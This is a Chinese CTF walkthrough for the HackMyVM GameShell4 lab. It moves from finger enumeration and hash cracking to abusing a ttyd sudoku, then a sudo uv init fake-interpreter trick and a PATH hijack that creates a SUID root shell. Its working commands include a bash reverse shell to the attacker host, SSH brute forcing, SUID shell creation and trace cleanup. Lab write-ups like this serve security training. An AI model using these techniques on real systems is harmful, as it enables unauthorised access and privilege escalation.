HackMyVM GameShell4 通关记录|ttyd 数独、uv fakepy 与 PATH 劫持提权
靶机链接:GameShell4
0x01 基本信息
| 名称 | IP |
|---|---|
| Kali Linux | 192.168.1.113 |
| GameShell4 | 192.168.1.116 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| Finger 枚举 | finger <user>@192.168.1.116 枚举 5 个系统用户 | 确定攻击面用户 (root/admin/sdk/xcm/www-data) |
| Web 收集 | JS console.log 泄露 bcrypt hash;Gobuster 发现 /sudoku | 获取 admin 凭据入口 |
| 凭证破解 | hashcat -m 3200 秒破 bcrypt → babylove3 | SSH admin 初始访问 |
| ttyd 数独 | WebSocket 交互发送 52 步解答 → SUDOKUISMAGIC | 获得 xcm 密码线索 |
| xcm 初始访问 | xcm:sudokuismagic SSH 登录 | 获取 user flag 与 uv sudo 权限 |
| xcm → sdk 方法一(推荐) | sudo -u sdk uv init --python /tmp/fakepy.sh | 不依赖 sdk 登录 shell,可获得 sdk 命令执行、/tmp/sdkbash 或 sdk 反弹 shell |
| xcm → sdk 方法二(备选) | /opt/revive 恢复 sdk shell 后用 uv help + less 逃逸 | 获得 sdk 交互 shell,适合解释 pager 逃逸思路 |
| sdk → root | sdk 免密 sudo livescreen + /usr/local/bin/cbonsai PATH 劫持 | 创建 /tmp/rootshell SUID bash,稳定获取 root |
0x02 侦察与信息收集 (Reconnaissance)
1. 全端口扫描
使用 RustScan 联动 Nmap 对靶机进行快速全端口扫描与服务识别:
rustscan -a 192.168.1.116 -- -sV -sC -oN nmap-scan.txt
输出:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
79/tcp open finger OpenBSD fingerd (ported to Linux)
80/tcp open http Apache httpd 2.4.62 (Debian)
MAC Address: 08:00:27:05:8E:15 (Oracle VirtualBox virtual NIC)
分析: Finger 服务 (79/tcp) 在现代系统中极为罕见,值得优先调查。OpenSSH 8.4 和 Apache 2.4.62 是 Debian 11 标准版本,优先从 Finger 信息泄露和 Web 内容入手。
2. Finger 用户枚举
Finger 协议允许远程查询用户信息。利用该服务枚举常见用户名:
for user in root admin user www-data gameshell game shell ctf flag pi kali; do
finger $user@192.168.1.116
done
有效用户列表:
| 用户名 | UID | Home 目录 | Shell |
|---|---|---|---|
| root | 0 | /root | /bin/bash |
| admin | 1004 | /home/admin | /bin/bash |
| sdk | 1002 | /home/sdk | /usr/games/cbonsai |
| xcm | 1003 | /home/xcm | /bin/bash |
| www-data | 33 | /var/www | /usr/sbin/nologin |
关键发现:
sdk用户的 shell 是/usr/games/cbonsai而非/bin/bash,这是一款终端 bonsai 树动画程序。这一"游戏壳"设计为本机核心特色,后续会触及。- Finger 直接泄露内核版本
Linux 4.19.0-27-amd64和系统负载信息。
3. Web 目录枚举
gobuster dir -u http://192.168.1.116 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak
发现:
/index.html (200 OK)
/sudoku (401 Unauthorized)
/server-status (403 Forbidden)
/sudoku 返回 401 需要认证,说明存在受保护的 Web 资源。后面会揭示这是一个 Apache 反向代理到 ttyd 的 Web 终端服务。
0x03 漏洞探测与分析 (Vulnerability Analysis)
1. index.html 源码隐藏 admin bcrypt 哈希
访问首页,查看 HTML 源码。页面标题为 "Hidden Server",表面是一个 Canvas 动画,但在 JavaScript paint() 函数中发现了一行 console.log:
console.log("admin:$2y$05$yKwD7W0PUqg9EGrSRQP2AegLrBvwLaUDlYEQ859O/ki01I54LnReS");
$2y$05$ 前缀表明这是 PHP 风格的 bcrypt 哈希,cost factor 为 5。该哈希同时出现在 /etc/apache2/.htpasswd 中,但 .htpasswd 只有 admin 一个用户。
2. bcrypt 哈希破解
echo '$2y$05$yKwD7W0PUqg9EGrSRQP2AegLrBvwLaUDlYEQ859O/ki01I54LnReS' > admin-hash.txt
hashcat -m 3200 -a 0 admin-hash.txt /usr/share/wordlists/rockyou.txt --force -O
输出:
$2y$05$yKwD7W0PUqg9EGrSRQP2AegLrBvwLaUDlYEQ859O/ki01I54LnReS:babylove3
约 32 秒即完成破解,密码为 babylove3。cost factor 5 的安全强度明显偏低,使字典攻击极易成功。该凭据同样可用于 SSH 登录:ssh admin@192.168.1.116 输入密码 babylove3 即可成功连接。
3. /sudoku 端点分析
使用破解得到的凭据访问 /sudoku:
curl -s -u admin:babylove3 http://192.168.1.116/sudoku/
返回 ttyd HTML 终端页面 (729 KB),Server 头为:
Server: ttyd/1.7.7-40e79c7 (libwebsockets/4.3.3-unknown)
查看 Apache 配置 (/etc/apache2/sites-enabled/000-default.conf):
<Location /sudoku>
AuthType Basic
AuthUserFile /etc/apache2/.htpasswd
Require valid-user
RequestHeader set X-Forwarded-User "%{REMOTE_USER}s"
</Location>
ProxyPass /sudoku ws://127.0.0.1:7681/
ProxyPass /sudoku http://127.0.0.1:7681/
分析:
- Apache 对
/sudoku实施 Basic 认证后反向代理到本地 ttyd 服务 RequestHeader set X-Forwarded-User将认证用户名注入代理请求- ttyd 在 127.0.0.1:7681 上以 xcm 用户运行,执行
sudoku.sh(数独游戏) mod_proxy_wstunnel已启用,支持 WebSocket 升级
ttyd 进程信息:
root → /bin/bash /usr/local/bin/start-ttyd.sh
root → sudo -u xcm ttyd -i 127.0.0.1 -p 7681 -H X-Forwarded-User -W sudoku.sh
xcm → ttyd -i 127.0.0.1 -p 7681 -H X-Forwarded-User -W sudoku.sh
0x04 核心攻击链一:admin 初始访问与本地枚举
1. SSH 登录 admin
sshpass -p 'babylove3' ssh admin@192.168.1.116
uid=1004(admin) gid=1004(admin) groups=1004(admin)
admin 用户无 sudo 权限,home 目录几乎为空。它的主要价值是用于本地枚举,确认后续攻击链涉及的组件与权限设计。
2. 关键本地发现
ls -la /opt/revive
file /opt/revive
ps aux | grep ttyd
cat /etc/apache2/sites-enabled/000-default.conf
-rwsr-sr-x 1 root root 17560 Aug 16 2019 /opt/revive
/opt/revive: setuid, setgid ELF 64-bit LSB pie executable, x86-64, not stripped
本地枚举确认了两条后续路线:
/sudoku由 Apache 反向代理到本地ttyd,以xcm用户运行数独游戏,解开后可以获得 xcm 密码线索。/opt/revive是 SUID root 二进制,会在满足条件时把sdkshell 从/usr/games/cbonsai改为/bin/bash。这不是主线必需步骤,后文作为 备选路线 单独说明。
主线采用 xcm 的 uv init --python 权限直接获得 sdk 命令执行,并可按需拉起 sdk shell,不依赖修改 sdk 登录 shell。
0x05 核心攻击链二:ttyd 数独求解获取 xcm 凭据
1. ttyd 通信协议分析
ttyd 1.7.7 通过 WebSocket 承载终端 I/O,但其协议不是标准 VT100 裸流,而是带有前缀字节的自定义二进制帧格式。直接使用 wscat 或 websocat 发送原始文本不会得到任何回显——这也是早期尝试中反复超时的原因。正确的协议如下:
WebSocket 连接参数:
| 参数 | 值 | 说明 |
|---|---|---|
| URL | ws://192.168.1.116/sudoku/ws | 通过 Apache 反向代理 |
| 认证 | Authorization: Basic <base64> | admin:babylove3 |
| 子协议 | tty | 必须声明,否则 ttyd 不启动终端 |
| 初始化帧 | {"AuthToken":"","columns":120,"rows":40} | BINARY opcode,告知终端尺寸 |
| stdin 帧格式 | ASCII 0 (0x30) + 文本内容 | 命令字 b"0" 表示 stdin 数据 |
| stdout 帧格式 | ASCII 0 (0x30) + 文本内容 | 服务器返回 b"0" 表示终端输出 |
| 元数据帧 | ASCII 1 / 2 | b"1" 为窗口标题,b"2" 为 JSON 元数据 |
踩坑记录: 早期尝试了 raw socket、Python websocket-client 库(未声明子协议)、websocat(不支持 tty 子协议),均能完成 WebSocket 升级(101 响应)、正确回复 PING/PONG,但终端进程始终不启动——服务器只发 PING 不发 stdout,连接存活数分钟后超时断开。根因是缺少 subprotocols=["tty"] 声明。
2. ttyd_client.py 脚本说明
脚本 ttyd_client.py 封装了 ttyd 协议交互,负责连接、初始化、发送用户输入、接收并解析终端输出。脚本见附件。
命令行参数:
--url WebSocket 地址 (默认 ws://192.168.1.116/sudoku/ws)
--user Basic Auth 用户名 (默认 admin)
--password Basic Auth 密码 (默认 babylove3)
--cols/--rows 终端尺寸 (默认 120×40)
--seconds 采集超时秒数 (默认 8)
--send 单条输入内容 (可多次使用)
--send-file 从文件读取逐行输入
--send-delay 发送前等待秒数
核心逻辑(关键代码片段):
# 1. 建立连接,必须声明 tty 子协议
ws = websocket.create_connection(
args.url,
subprotocols=["tty"],
header=[f"Authorization: Basic {auth}"],
)
# 2. 发送初始化帧(BINARY 帧)
init = json.dumps({"AuthToken": "", "columns": args.cols, "rows": args.rows})
ws.send(init, opcode=websocket.ABNF.OPCODE_BINARY)
# 3. 发送每条 stdin 输入,前缀为 ASCII "0" (0x30)
for s in send_items:
payload = b"0" + s.encode()
ws.send(payload, opcode=websocket.ABNF.OPCODE_BINARY)
# 4. 接收循环:cmd=b"0" 为终端输出,cmd=b"1"/b"2" 为元数据
while time.time() < end:
frame = ws.recv_frame()
if frame.opcode == websocket.ABNF.OPCODE_PING:
ws.pong(frame.data) # 维持心跳
continue
cmd, body = frame.data[:1], frame.data[1:]
if cmd == b"0":
raw_out += body # 终端 stdout
elif cmd in (b"1", b"2"):
print(body.decode()) # 标题 / 元数据
注意: ttyd 前端源码中 f.INPUT = "0",脚本里的 b"0" 是正确的协议命令字(ASCII 0 / 0x30),不是 NUL 字节 b"\x00"。如果只发送裸文本或漏掉 tty 子协议,连接可能保持存活但不会启动终端输出。
3. moves.txt 数独解答序列
文件 moves.txt 包含 52 行 3 位数字,对应数独游戏的逐步解答。游戏界面提示输入格式为:
Enter your next move: <3-digit number>
The 1st digit is the row
The 2nd digit is the column
The 3rd digit is the value you want to set
moves.txt 内容(前 10 行):
122
133
141
159
168
176
239
245
254
272
...(共 52 行)
这些步骤在游戏中逐行输入后,数独盘面从初始状态逐步填充直至完全解开。
AI 辅助说明: moves.txt 的 52 步解答序列由 AI 辅助生成:先从 ttyd 终端输出中提取初始数独盘面,再还原为标准 9×9 矩阵求解,并按游戏要求转换为 行 + 列 + 值 的输入序列。生成后的 moves.txt 已通过靶机 /sudoku 实际提交验证,最终回显 GAME COMPLETED! 与 SUDOKUISMAGIC。
4. 执行命令与回显
cd /home/kali/wp/Gameshell4
python3 ttyd_client.py --send-delay 0.5 --send-file moves.txt --seconds 30
stderr 日志(帧收发摘要):
[+] connected subprotocol='tty'
[.] frame opcode=2 cmd=b'1' len=22 # 窗口标题
sudoku.sh (GameShell4)
[.] frame opcode=2 cmd=b'2' len=3 # JSON 元数据
{ }
[.] frame opcode=2 cmd=b'0' len=995 # 初始盘面(stdout)
[.] frame opcode=2 cmd=b'0' len=2
[.] frame opcode=2 cmd=b'0' len=17
...(52 步逐步回显)...
stdout(stripped,最终完成画面):
-------------------------
| 5 2 3 | 1 9 8 | 6 7 4 |
| 6 1 9 | 5 4 7 | 2 8 3 |
| 7 4 8 | 6 2 3 | 9 5 1 |
-------------------------
| 8 5 2 | 3 1 9 | 7 4 6 |
| 1 3 7 | 8 6 4 | 5 2 9 |
| 9 6 4 | 7 5 2 | 3 1 8 |
-------------------------
| 2 7 1 | 9 8 6 | 4 3 5 |
| 4 9 5 | 2 3 1 | 8 6 7 |
| 3 8 6 | 4 7 5 | 1 9 2 |
-------------------------
GAME COMPLETED!
SUDOKUISMAGIC
收获: 字符串 SUDOKUISMAGIC 即为 xcm 用户密码的原始形态。经大小写变体测试后确认有效密码为全小写形式 sudokuismagic。
5. Hydra SSH 穷举验证
已知 admin 密码,无需对其重复穷举。只对 sdk、xcm、root 三个用户进行测试:
# 用户列表(排除已知凭据的 admin)
cat > results/users.txt << EOF
sdk
xcm
root
EOF
# 密码变体字典(以 SUDOKUISMAGIC 的大小写变体为主)
cat > results/passwords.txt << EOF
sudokuismagic
Sudokuismagic
SudokuIsMagic
SUDOKUISMAGIC
sudokuIsMagic
SudokuIsmagic
sudoku_is_magic
sudoku
magic
...
EOF
hydra -L results/users.txt -P results/passwords.txt -t 4 -f ssh://192.168.1.116
[22][ssh] host: 192.168.1.116 login: xcm password: sudokuismagic
分析: Hydra 的 -f 参数使它在发现第一对有效凭据后立即退出。admin 已从用户列表中移除,因此直接命中 xcm:sudokuismagic。最终密码恰好是全小写变体,与数独游戏输出的 SUDOKUISMAGIC 只存在大小写差异。
6. SSH 登录 xcm 获取 User Flag
sshpass -p 'sudokuismagic' ssh xcm@192.168.1.116
cat /home/xcm/user.txt
User Flag:
flag{user-602d9cd809f3b29eae8bc042bdf6c1ca}
0x06 横向移动:xcm → sdk(方法一 / 方法二)
从 xcm 到 sdk 的本质路径只有一条:利用 xcm 的 sudo 规则,以 sdk 身份执行 uv。区别在于获取 sdk 权限上下文的方式不同:
- 方法一(推荐):
uv init --python fakepy,直接获得 sdk 命令执行;如果需要交互,也可以通过 fakepy 拉起 sdk shell,不依赖 sdk 登录 shell。 - 方法二(备选):
/opt/revive先把 sdk 登录 shell 从 cbonsai 恢复为 bash,再通过uv help触发less,使用!/bin/bash获得 sdk 交互 shell。
后续 sdk → root 的提权逻辑两条路线完全一致:都利用 sdk 对 /usr/local/bin/livescreen 的免密 sudo 权限和 PATH 劫持。
1. 共同前提:xcm sudo 权限
sudo -l
User xcm may run the following commands on GameShell4:
(sdk) NOPASSWD: /usr/local/bin/uv init *, /usr/local/bin/uv help *
这说明 xcm 可以在不输入密码的情况下以 sdk 身份执行两类命令:
uv init *uv help *
因此下面两种方法都属于同一段横向路径:
xcm → sdk
2. 方法一(推荐):uv init --python fakepy
uv init 会检查 --python 指定的解释器路径。如果把该参数指向一个可执行脚本,脚本会在 sdk 上下文中被调用。
该方法不需要修改 sdk 的登录 shell。即使 /etc/passwd 中 sdk 仍为 /usr/games/cbonsai,fakepy 仍然可以正常执行 sdk 命令;如果把 fakepy 中的动作换成本地 SUID bash 或反弹 shell,也可以得到 sdk 权限上下文。
2.1 最小 PoC:确认 fakepy 以 sdk 身份运行
从 xcm shell 中执行:
cat > /tmp/fakepy.sh << 'EOF'
#!/bin/sh
id > /tmp/sdk_out.txt 2>&1
/usr/bin/python3 "$@" 2>/dev/null || true
EOF
chmod +x /tmp/fakepy.sh
cd /tmp
rm -rf /tmp/uvproj
sudo -n -u sdk /usr/local/bin/uv init /tmp/uvproj --python /tmp/fakepy.sh --bare --no-workspace
cat /tmp/sdk_out.txt
输出:
Initialized project `uvproj` at `/tmp/uvproj`
uid=1002(sdk) gid=1002(sdk) groups=1002(sdk)
此时再次查看 /etc/passwd,sdk 的登录 shell 仍然可以保持为 /usr/games/cbonsai:
sdk:x:1002:1002::/home/sdk:/usr/games/cbonsai
分析: uv init 尝试使用 /tmp/fakepy.sh 作为 Python 解释器进行探测,fakepy 在探测过程中已经以 sdk 身份执行。最后调用 /usr/bin/python3 "$@" 2>/dev/null || true 是为了让 uv 的解释器检测尽量正常完成;使用绝对路径避免 sdk 的 PATH 差异,追加 || true 则避免 Python 探测失败时影响前面 payload 的执行结果。
2.2 用 fakepy 执行 sdk 命令
把 fakepy 中的 id 替换成任意命令即可获得 sdk 上下文的命令执行。例如检查 sdk 的 sudo 权限:
cat > /tmp/fakepy.sh << 'EOF'
#!/bin/sh
{
id
whoami
sudo -n -l
} > /tmp/sdk_out.txt 2>&1
/usr/bin/python3 "$@" 2>/dev/null || true
EOF
chmod +x /tmp/fakepy.sh
cd /tmp
rm -rf /tmp/uvcheck
sudo -n -u sdk /usr/local/bin/uv init /tmp/uvcheck --python /tmp/fakepy.sh --bare --no-workspace
cat /tmp/sdk_out.txt
uid=1002(sdk) gid=1002(sdk) groups=1002(sdk)
sdk
User sdk may run the following commands on GameShell4:
(ALL) NOPASSWD: /usr/local/bin/livescreen
至此已经具备 sdk 命令执行能力。后续不需要写 SSH 公钥,也不需要建立持久化登录,直接用 fakepy 完成 root 提权准备即可。
2.3 可选:通过 fakepy 生成 /tmp/sdkbash
除了 one-shot 命令执行,fakepy 也可以复制一个由 sdk 拥有的 SUID bash 到 /tmp/sdkbash:
cat > /tmp/fakepy_sdkbash.sh << 'EOF'
#!/bin/sh
/bin/rm -f /tmp/sdkbash /tmp/sdkbash.out
/bin/cp /bin/bash /tmp/sdkbash
/bin/chmod 4755 /tmp/sdkbash
/bin/ls -l /tmp/sdkbash > /tmp/sdkbash.out 2>&1
/usr/bin/python3 "$@" 2>/dev/null || true
EOF
chmod +x /tmp/fakepy_sdkbash.sh
cd /tmp
rm -rf /tmp/uvsdkbash
sudo -n -u sdk /usr/local/bin/uv init /tmp/uvsdkbash --python /tmp/fakepy_sdkbash.sh --bare --no-workspace
cat /tmp/sdkbash.out
生成后权限应类似:
-rwsr-xr-x 1 sdk sdk ... /tmp/sdkbash
运行时需要使用 -p,让 bash 保留 SUID 权限:
/tmp/sdkbash -p -c "id; whoami"
预期效果:
uid=1003(xcm) gid=1003(xcm) euid=1002(sdk) groups=1003(xcm)
sdk
这里的关键点是 euid=1002(sdk),说明当前 shell 具备 sdk 的有效权限。不加 -p 时,bash 可能会主动丢弃 SUID 权限并退回 xcm。
但 /tmp/sdkbash -p 不完全等价于正常的 sdk 登录会话:它通常是 real uid = xcm、effective uid = sdk。因此若后续要稳定使用 sdk 的 sudo 规则,仍推荐直接在 fakepy 中执行目标命令,或者使用下面的反弹 shell 方式获得更接近真实会话的 sdk shell。
2.4 可选:通过 fakepy 获取 sdk 反弹 shell
如果希望像方法二一样得到交互式 sdk shell,也可以让 fakepy 拉起反弹 shell。Kali 侧先监听:
nc -lvnp 4444
xcm shell 中执行:
cat > /tmp/fakepy_shell.sh << 'EOF'
#!/bin/sh
/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.113/4444 0>&1' &
/usr/bin/python3 "$@" 2>/dev/null || true
EOF
chmod +x /tmp/fakepy_shell.sh
cd /tmp
rm -rf /tmp/uvshell
sudo -n -u sdk /usr/local/bin/uv init /tmp/uvshell --python /tmp/fakepy_shell.sh --bare --no-workspace
监听端收到连接后确认身份:
sdk@GameShell4:/tmp$ id
uid=1002(sdk) gid=1002(sdk) groups=1002(sdk)
因此方法一既可以作为“sdk 命令执行”使用,也可以扩展为“sdk shell”。本报告主线为了减少交互依赖,后续仍直接通过 fakepy 完成 sdk → root。
3. 方法二(备选):/opt/revive + uv help pager 逃逸
方法二同样是 xcm → sdk,只是先借助 /opt/revive 解决 sdk 登录 shell 被设置为游戏壳的问题,再利用 uv help 触发分页器逃逸。
3.1 /opt/revive SUID 二进制分析与利用
ls -la /opt/revive
file /opt/revive
strings /opt/revive
-rwsr-sr-x 1 root root 17560 Aug 16 2019 /opt/revive
/opt/revive: setuid, setgid ELF 64-bit LSB pie executable, x86-64, not stripped
/dev/pts/99
[+] %s found! Updating sdk shell...
/etc/passwd
sdk:x:1002:1002::/home/sdk:/usr/games/cbonsai
sdk:x:1002:1002::/home/sdk:/bin/bash
[-] Need root SUID privilege!
逻辑还原: 该 SUID root 二进制检查 /dev/pts/99 是否存在,若存在则修改 /etc/passwd 将 sdk 的 shell 从 /usr/games/cbonsai 改为 /bin/bash。
利用 Python pty.openpty() 消耗 PTY 编号,使第 99 个 PTY 恰好映射到 /dev/pts/99:
import os, pty, subprocess
fds = []
for i in range(160):
master, slave = pty.openpty()
fds.append((master, slave))
if os.ttyname(slave) == '/dev/pts/99':
break
subprocess.run(['/opt/revive'])
subprocess.run(['grep', '^sdk:', '/etc/passwd'])
结果:
[+] /dev/pts/99 found! Updating sdk shell...
[+] Success! sdk shell updated to /bin/bash
sdk:x:1002:1002::/home/sdk:/bin/bash
注意:这一步只是恢复 sdk 的登录 shell,并不等于已经拿到 sdk 会话或 sdk 密码。
3.2 uv help pager 逃逸获得 sdk shell
uv help init 输出较长内容时触发 less 分页器,可利用 pager 逃逸获得 sdk shell。
这里需要先切到 /tmp 再执行。若直接在 /home/xcm 下运行,uv 会尝试读取当前目录的 uv.toml,而 sdk 对 /home/xcm 无访问权限,实测会报:
error: failed to open file `/home/xcm/uv.toml`: Permission denied (os error 13)
正确执行方式:
cd /tmp
sudo -n -u sdk /usr/local/bin/uv help init
在 less 中输入:
!/bin/bash
成功后:
sdk@GameShell4:/tmp$ id
uid=1002(sdk) gid=1002(sdk) groups=1002(sdk)
如果跳过 /opt/revive,sdk 的登录 shell 仍为 /usr/games/cbonsai,此时 less 的 shell escape 会落到 cbonsai 游戏壳,无法得到正常 bash。
因此方法二的定位是:提供一条可交互的 xcm → sdk 备选路线;进入 sdk 后仍然复用下一节的 sdk → root 提权方式。
0x07 权限提升:sdk → root(livescreen PATH 劫持 + rootshell)
无论 xcm → sdk 采用方法一还是方法二,进入 sdk 权限上下文后,root 提权都依赖同一个问题:sdk 可以免密 sudo 执行 /usr/local/bin/livescreen,而该脚本内部调用 cbonsai 时没有使用绝对路径。
1. sdk sudo 权限
sudo -n -l
User sdk may run the following commands on GameShell4:
(ALL) NOPASSWD: /usr/local/bin/livescreen
2. livescreen 脚本分析
cat /usr/local/bin/livescreen
#!/bin/bash
cbonsai -i -l
脚本仅一行:调用 cbonsai -i -l 启动终端 bonsai 树动画。调用时未使用绝对路径。
3. PATH 劫持条件检查
sudo --version # Sudo version 1.9.5p2
sudo -l # secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
for d in /usr/local/sbin /usr/local/bin /usr/sbin /usr/bin /sbin /bin /usr/games; do
[ -w "$d" ] && echo "WRITABLE: $d"
done
WRITABLE: /usr/local/bin
进一步查看目录权限与 ACL:
ls -ld /usr/local/bin
getfacl -p /usr/local/bin
drwxrwxr-x+ 2 root root 4096 Jul 5 10:35 /usr/local/bin
# file: /usr/local/bin
# owner: root
# group: root
user::rwx
user:sdk:rwx
group::r-x
mask::rwx
other::r-x
关键发现:
- sdk 对
/usr/local/bin的写入权限来自 ACL 条目user:sdk:rwx,不是传统 Unix 组权限 - sudo 的
secure_path中/usr/local/bin排在/usr/games前面 - 真实
cbonsai位于/usr/games/cbonsai livescreen调用cbonsai时不含绝对路径
三个条件叠加,构成经典的 PATH 劫持场景。
防守侧如果要修复这一点,除了修改 livescreen 使用绝对路径外,也应移除 sdk 对该目录的 ACL 写权限,例如:
setfacl -x user:sdk /usr/local/bin
4. 稳定提权:创建 /tmp/rootshell
为了避免依赖交互式 root shell,这里采用更稳的 SUID bash 方法:在 sdk 权限下写入 /usr/local/bin/cbonsai,再执行 sdk 的免密 sudo 命令 /usr/local/bin/livescreen。livescreen 会以 root 身份调用被劫持的 cbonsai,从而创建 /tmp/rootshell。
4.1 通过方法一的 fakepy 执行(推荐主线)
如果前面使用方法一获得的是 sdk 命令执行,可以继续从 xcm shell 中用 fakepy 完成整段提权:
cat > /tmp/fakepy_root.sh << 'EOF'
#!/bin/sh
# 外层 EOF 使用单引号,所以下面的内层 heredoc 不会被本地 shell 展开;
# 这里实际写入的是稍后会被 root 通过 livescreen 执行的 /usr/local/bin/cbonsai。
cat > /usr/local/bin/cbonsai << 'X'
#!/bin/bash
/bin/cp /bin/bash /tmp/rootshell
/bin/chmod 4755 /tmp/rootshell
X
chmod +x /usr/local/bin/cbonsai
sudo -n /usr/local/bin/livescreen >/tmp/livescreen.log 2>&1
/usr/bin/python3 "$@" 2>/dev/null || true
EOF
chmod +x /tmp/fakepy_root.sh
cd /tmp
rm -rf /tmp/uvroot
sudo -n -u sdk /usr/local/bin/uv init /tmp/uvroot --python /tmp/fakepy_root.sh --bare --no-workspace
执行逻辑如下:
xcm通过 sudo 运行uv init。uv init以sdk身份调用/tmp/fakepy_root.sh。- fakepy 写入
/usr/local/bin/cbonsai。 - fakepy 内部以 sdk 身份执行
sudo -n /usr/local/bin/livescreen。 - root 执行
livescreen,并从secure_path前面的/usr/local/bin命中恶意cbonsai。 - 恶意
cbonsai复制/bin/bash到/tmp/rootshell并设置 SUID 位。
4.2 通过 sdk 交互 shell 执行(方法一 / 方法二均可)
如果前面通过方法一的 fakepy 反弹 shell,或通过方法二的 uv help pager escape 拿到 sdk 交互 shell,也可以直接在 sdk shell 中执行同样的 PATH 劫持操作:
cat > /usr/local/bin/cbonsai << 'EOF'
#!/bin/bash
/bin/cp /bin/bash /tmp/rootshell
/bin/chmod 4755 /tmp/rootshell
EOF
chmod +x /usr/local/bin/cbonsai
sudo -n /usr/local/bin/livescreen >/tmp/livescreen.log 2>&1
这与方法一中的 fakepy_root 本质相同,只是执行入口从“非交互 sdk 命令执行”变成了“sdk 交互 shell”。
5. 获取 Root Flag
/tmp/rootshell -p -c "id; whoami; cat /root/root.txt; cat /root/flag*"
输出:
uid=1003(xcm) gid=1003(xcm) euid=0(root) groups=1003(xcm)
root
flag{root-983b0f2b5412aadd94ed08f249355686}
euid=0(root) 确认提权成功,-p 参数使 bash 保留 SUID 权限。
6. 清理痕迹
/tmp/rootshell -p -c "rm -f /usr/local/bin/cbonsai /tmp/rootshell /tmp/livescreen.log /tmp/sdk_out.txt /tmp/sdkbash /tmp/sdkbash.out /tmp/fakepy.sh /tmp/fakepy_sdkbash.sh /tmp/fakepy_shell.sh /tmp/fakepy_root.sh; rm -rf /tmp/uvproj /tmp/uvcheck /tmp/uvsdkbash /tmp/uvshell /tmp/uvroot"
0x08 最终成果 (Final Flags)
User Flag
- 路径:
/home/xcm/user.txt - 内容:
flag{user-602d9cd809f3b29eae8bc042bdf6c1ca}
Root Flag
- 路径:
/root/root.txt - 内容:
flag{root-983b0f2b5412aadd94ed08f249355686}
凭据汇总
| 类型 | 用户 / 目标 | 值 | 来源 |
|---|---|---|---|
| Web / SSH 密码 | admin | babylove3 | index.html 泄露 bcrypt,rockyou 破解 |
| SSH 密码 | xcm | sudokuismagic | /sudoku 数独完成输出 SUDOKUISMAGIC 后转小写 |
| xcm → sdk 方法一 | sdk 命令执行 / shell | sudo -u sdk /usr/local/bin/uv init --python fakepy | 推荐主线;不依赖 sdk 登录 shell,可生成 /tmp/sdkbash 或按需拉起反弹 shell |
| xcm → sdk 方法二 | sdk 交互 shell | /opt/revive + uv help less escape | 备选路线;需要先把 sdk shell 从 cbonsai 改为 bash |
| sdk → root | root | sudo /usr/local/bin/livescreen + PATH 劫持 + /tmp/rootshell | sdk 可写 /usr/local/bin,且 livescreen 未使用绝对路径 |
复盘总结
GameShell4 的攻击链以"游戏 Shell"为主题贯穿始终:
-
Finger 协议的价值被低估。 现代系统中几乎绝迹的 Finger 服务在此提供了完整的用户清单、shell 类型和内核版本,直接揭示了用户"游戏壳"机制。
-
前端不是放秘密的地方。
console.log中直接打印 bcrypt 哈希等同于明文泄露。cost factor 仅为 5 的 bcrypt 在 rockyou 字典面前瞬间被破。 -
ttyd 的 WebSocket 协议要求精确实现。 子协议声明、prefix-byte 格式、AuthToken JSON 初始化的任意一点偏差都会导致无声失败。使用浏览器的开发者工具更容易观察到正确的协议行为。
-
数独游戏作为密码线索。 52 步固定解答序列表明游戏本身是自动化工具生成的,完成后直接输出 xcm 密码
sudokuismagic。 -
xcm → sdk 有两种实现方式。 推荐主线是
uv init --python fakepy,它会调用指定解释器进行探测,把解释器指向 fakepy 脚本即可在 sdk 上下文中执行命令;也可以让 fakepy 生成/tmp/sdkbash,或把动作换成反弹 shell 来获得 sdk shell。备选路线是/opt/revive修复 sdk shell 后,通过uv help触发 less escape 获得 sdk 交互 shell。 -
两条横向路线最终都汇入 sdk → root。
/opt/revive不是 root 提权点,它只服务于方法二的 sdk shell 获取;真正的 root 提权点是 sdk 对/usr/local/bin/livescreen的免密 sudo 权限。 -
secure_path 不能替代目录权限管理。 sdk 对
/usr/local/bin的写入权限来自 ACL 条目user:sdk:rwx,这意味着可以劫持 secure_path 中排在前面的任何未使用绝对路径的命令。 -
从防守方视角看,需要加固的点包括: 关闭不需要的 Finger 服务、不在前端源码中放置凭证材料、使用足够高的 bcrypt cost factor、限制 xcm 的
uv init --pythonsudo 权限、移除/usr/local/bin上的user:sdk:rwxACL(如setfacl -x user:sdk /usr/local/bin)、所有脚本调用系统命令使用绝对路径。livescreen中cbonsai调用改为/usr/games/cbonsai即可阻断 PATH 劫持。
附件下载
复现本文攻击链所需的关键脚本和字典文件已整理如下:
| 文件 | 说明 |
|---|---|
| ttyd_client.py | ttyd WebSocket 客户端,声明 tty 子协议,发送 AuthToken 初始化帧并以 ASCII 0 (0x30) 命令字交互终端 I/O |
| moves.txt | AI 辅助生成并经靶机验证的数独 52 步解答序列,每行 3 位数字(行 + 列 + 值),由 ttyd_client.py --send-file 逐行输入 |
完整脚本与数独输入序列以附件形式提供,正文不再重复粘贴完整源码。
快速使用:
python3 ttyd_client.py --send-delay 0.5 --send-file moves.txt --seconds 30
其中 moves.txt 每行格式为 行 + 列 + 值,例如 122 表示在第 1 行第 2 列填入数字 2。